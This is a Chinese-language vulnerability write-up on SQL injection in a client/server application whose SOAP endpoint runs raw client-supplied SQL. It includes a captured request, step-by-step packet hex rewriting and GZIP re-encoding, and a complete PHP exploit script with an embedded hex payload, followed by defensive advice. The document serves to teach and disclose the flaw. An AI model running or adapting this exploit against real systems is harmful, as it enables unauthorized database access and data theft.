某c/s架构系统的一次sql注入记录
字数 915 2025-08-25 22:58:41

C/S架构系统SQL注入漏洞分析与利用教学文档

1. 漏洞背景

这是一个典型的C/S架构系统存在的SQL注入漏洞案例,攻击者通过分析客户端与服务器之间的通信流量,发现系统直接将用户可控的SQL语句发送到后端执行,从而实现了SQL注入攻击。

2. 漏洞发现过程

2.1 流量分析准备

  1. 代理设置

    • 在Windows虚拟机中运行客户端
    • 设置虚拟机使用本机网卡作为代理
    • 使用BurpSuite监听该网卡流量
  2. 流量捕获特点

    • 系统使用HTTP协议传输
    • 数据使用GZIP压缩
    • BurpSuite可自动解码GZIP但发送时需要保持原始编码

2.2 关键数据包分析

在分析业务功能时发现一个包含SQL语句的数据包:

POST /TdsWebService/OracleDeveloperSVC.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "ExecuteDataSet"
Host: x.x.x.x
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <ExecuteDataSet xmlns="http:/x.x.x.x">
      <loginKey>
        <!-- 各种认证参数 -->
      </loginKey>
      <sql>
        select a.* 
        from sysc106 a
        INNER JOIN sysc106c b ON b.vtranscode = a.vtranscode AND b.ncompanyid = a.ncompanyid
        where a.ncompanyid = 194910
      </sql>
    </ExecuteDataSet>
  </s:Body>
</s:Envelope>

3. 漏洞利用技术

3.1 利用原理

系统直接将<sql>标签内的SQL语句发送到后端执行,攻击者可以替换这部分内容实现任意SQL执行。

3.2 利用步骤

  1. 获取原始数据包

    • 捕获原始请求并保存为16进制格式
  2. 构造恶意SQL

    • 定位原始SQL语句位置
    • 构造等长度的恶意SQL语句(不足部分用空格填充)
    • 示例恶意SQL:select utl_inaddr.get_host_address from dual
  3. 数据包重构

    • 将恶意SQL转换为16进制
    • 替换原始数据包中的对应部分
    • 保持数据包整体结构不变
  4. 重新编码发送

    • 将修改后的16进制数据转换为字符串
    • 使用GZIP重新编码
    • 发送修改后的请求

3.3 利用脚本

<?php
// 构造payload
$req = '56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a73656c6563742075746c5f696e616464722e6765745f686f73745f616464726573732066726f6d206475616c202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202001010101';

// 编码并发送
$req_encode = gzencode(hex2bin($req));
function httpRequest($sUrl, $aHeader, $aData){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $sUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $aData);
    $sResult = curl_exec($ch);
    if($sError=curl_error($ch)){
        die($sError);
    }
    curl_close($ch);
    return $sResult;
}

$sUrl = 'http://x.x.x.x/TdsWebService/OracleDeveloperSVC.svc';
$aData = $req_encode;
$aHeader = array(
    'Content-Type: application/x-gzip',
    'Accept-Encoding: gzip, deflate',
    'Content-Length: ' . strlen($aData)
);

echo gzdecode(httpRequest($sUrl,$aHeader,$aData));
?>

4. 漏洞防御建议

  1. 输入验证

    • 对用户输入的SQL语句进行严格过滤
    • 使用白名单机制限制可执行的SQL语句类型
  2. 参数化查询

    • 使用预编译语句和参数化查询
    • 避免直接拼接SQL语句
  3. 权限控制

    • 数据库用户使用最小权限原则
    • 限制应用程序账户的数据库操作权限
  4. 加密与完整性校验

    • 对传输数据进行加密
    • 添加数据完整性校验机制
  5. 日志监控

    • 记录所有SQL查询日志
    • 设置异常查询报警机制

5. 总结

这个案例展示了在C/S架构系统中,如果直接传输和执行用户可控的SQL语句会带来的严重安全风险。通过流量分析和数据包重构,攻击者可以完全控制后端数据库查询。开发人员应避免此类设计,采用更安全的数据库访问方式。

C/S架构系统SQL注入漏洞分析与利用教学文档 1. 漏洞背景 这是一个典型的C/S架构系统存在的SQL注入漏洞案例,攻击者通过分析客户端与服务器之间的通信流量,发现系统直接将用户可控的SQL语句发送到后端执行,从而实现了SQL注入攻击。 2. 漏洞发现过程 2.1 流量分析准备 代理设置 : 在Windows虚拟机中运行客户端 设置虚拟机使用本机网卡作为代理 使用BurpSuite监听该网卡流量 流量捕获特点 : 系统使用HTTP协议传输 数据使用GZIP压缩 BurpSuite可自动解码GZIP但发送时需要保持原始编码 2.2 关键数据包分析 在分析业务功能时发现一个包含SQL语句的数据包: 3. 漏洞利用技术 3.1 利用原理 系统直接将 <sql> 标签内的SQL语句发送到后端执行,攻击者可以替换这部分内容实现任意SQL执行。 3.2 利用步骤 获取原始数据包 : 捕获原始请求并保存为16进制格式 构造恶意SQL : 定位原始SQL语句位置 构造等长度的恶意SQL语句(不足部分用空格填充) 示例恶意SQL: select utl_inaddr.get_host_address from dual 数据包重构 : 将恶意SQL转换为16进制 替换原始数据包中的对应部分 保持数据包整体结构不变 重新编码发送 : 将修改后的16进制数据转换为字符串 使用GZIP重新编码 发送修改后的请求 3.3 利用脚本 4. 漏洞防御建议 输入验证 : 对用户输入的SQL语句进行严格过滤 使用白名单机制限制可执行的SQL语句类型 参数化查询 : 使用预编译语句和参数化查询 避免直接拼接SQL语句 权限控制 : 数据库用户使用最小权限原则 限制应用程序账户的数据库操作权限 加密与完整性校验 : 对传输数据进行加密 添加数据完整性校验机制 日志监控 : 记录所有SQL查询日志 设置异常查询报警机制 5. 总结 这个案例展示了在C/S架构系统中,如果直接传输和执行用户可控的SQL语句会带来的严重安全风险。通过流量分析和数据包重构,攻击者可以完全控制后端数据库查询。开发人员应避免此类设计,采用更安全的数据库访问方式。